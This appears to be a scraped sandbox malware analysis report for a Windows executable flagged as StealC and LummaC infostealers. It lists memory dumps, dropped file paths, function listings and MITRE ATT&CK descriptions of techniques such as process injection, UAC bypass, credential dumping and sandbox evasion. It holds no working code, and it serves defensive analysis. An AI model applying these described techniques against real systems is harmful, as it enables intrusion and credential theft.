Associated: 00000003.00000002.1869668393.0000000000112000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869692402.0000000000116000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869718245.000000000011A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869742064.0000000000124000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869763871.0000000000125000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869785714.0000000000126000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869917490.0000000000280000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869942153.0000000000282000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869971217.000000000029B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1869995479.000000000029C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870018623.000000000029F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870071744.00000000002BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870097866.00000000002BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870123073.00000000002BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870148733.00000000002C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870182099.00000000002D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870205409.00000000002D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870231408.00000000002DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870256275.00000000002E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870280755.00000000002F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870329010.00000000002FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870359466.00000000002FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870380224.00000000002FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870407261.0000000000309000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870431628.000000000030D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870455542.000000000030E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870479791.0000000000316000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870505785.0000000000317000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870531699.000000000031E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870555866.0000000000326000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870580055.0000000000327000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870609596.000000000033E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870633964.0000000000348000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870659720.0000000000351000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870685787.0000000000353000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870719576.0000000000372000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870743619.0000000000373000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870782022.00000000003A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870805137.00000000003A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870833601.00000000003A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870856848.00000000003A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870903721.00000000003B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870903721.00000000003BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870960550.00000000003C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1870988481.00000000003CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_7ZSESUD8ZXH63AKCHNXARW1M0GRS85.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction ID: 48ed68e19034b6a7d29afc3334c06def8e5fade6952eb82565edd808618aeb9a
Opcode Fuzzy Hash: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction Fuzzy Hash: 9DE04F361141059AD7009F54C84599FFBF5FF19311F218845E884CB622C2764C51C729

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report NE4jxHLxXJ.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe.log

C:\Users\user\AppData\Local\Temp\0HWKZUKSZQLX9YW6767RJL4WH9XRO2W.exe

C:\Users\user\AppData\Local\Temp\7ZSESUD8ZXH63AKCHNXARW1M0GRS85.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
NE4jxHLxXJ.exe

Function 002AB0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Function 0029DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Function 0029DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Function 04A40D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04A40D43 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Function 04A41510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04A41509 Relevance: 1.6, APIs: 1, Instructions: 50
serviceCOMMON

Function 04A41301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Function 04A41308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 002ABFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Function 0011E6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Function 0011F1B6 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre